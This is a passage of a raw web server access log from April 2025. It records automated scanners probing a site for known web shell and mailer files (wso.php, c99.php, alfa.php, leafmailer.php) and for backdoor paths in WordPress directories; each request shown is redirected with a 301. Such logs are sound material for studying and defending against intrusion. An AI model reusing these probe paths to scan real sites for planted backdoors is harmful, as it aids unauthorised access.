rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:44 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:49 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:54 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:58 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:00 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:03 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:07 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:10 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:14 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:19 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:27:22 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:17 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:22 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:27 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:32 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:38 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:43 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:48 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:52 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:39:56 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:01 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:06 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:13 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:18 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:24 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:29 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:35 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:40 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:45 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:48 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:50 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:53 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:56 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:40:59 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:02 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:04 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:07 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:11 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:14 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:17 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:21 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:27 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:33 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:37 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:42 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:45 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:51 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:41:57 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:01 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:07 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:11 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:16 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:21 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:25 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:29 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:34 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:40 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:43 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:48 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:52 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:42:57 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:01 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:05 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:08 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:12 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:16 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:20 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:43:24 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 188.130.129.238 - - [22/Apr/2025:06:51:15 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 159.223.38.234 - - [22/Apr/2025:07:23:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 170.106.165.186 - - [22/Apr/2025:07:32:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 121.229.185.160 - - [22/Apr/2025:07:40:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.75.65.166 - - [22/Apr/2025:07:49:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 9_2) AppleWebKit/598.53 (KHTML, like Gecko) Chrome/56.0.573 Safari/537.36" 31.171.152.132 - - [22/Apr/2025:08:36:39 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 103.115.197.160 - - [22/Apr/2025:08:38:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 103.115.197.160 - - [22/Apr/2025:08:38:40 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 52.169.28.4 - - [22/Apr/2025:08:54:39 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:41 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:42 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:43 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:44 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:46 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:46 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:47 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:48 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:50 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:51 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:52 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:54 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:55 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:57 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:54:58 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:00 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:01 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:03 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:04 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:08 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:11 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:14 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:16 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:19 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:20 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:22 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:24 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:25 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:26 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:27 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:27 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:28 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:29 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:29 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:30 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:31 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:31 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:32 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:33 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:33 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:34 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:34 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:35 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:35 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:36 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:37 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:37 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:38 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:39 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:39 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:40 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:41 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:42 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:43 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:44 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:44 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:45 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:46 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:47 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:47 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:48 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:49 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:49 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:50 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:51 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:51 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:52 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:53 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:53 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:54 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:55 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:57 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:57 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:58 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:59 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:55:59 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:00 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:01 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:02 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:03 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:03 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:04 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:05 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:06 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:06 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:07 -0400] 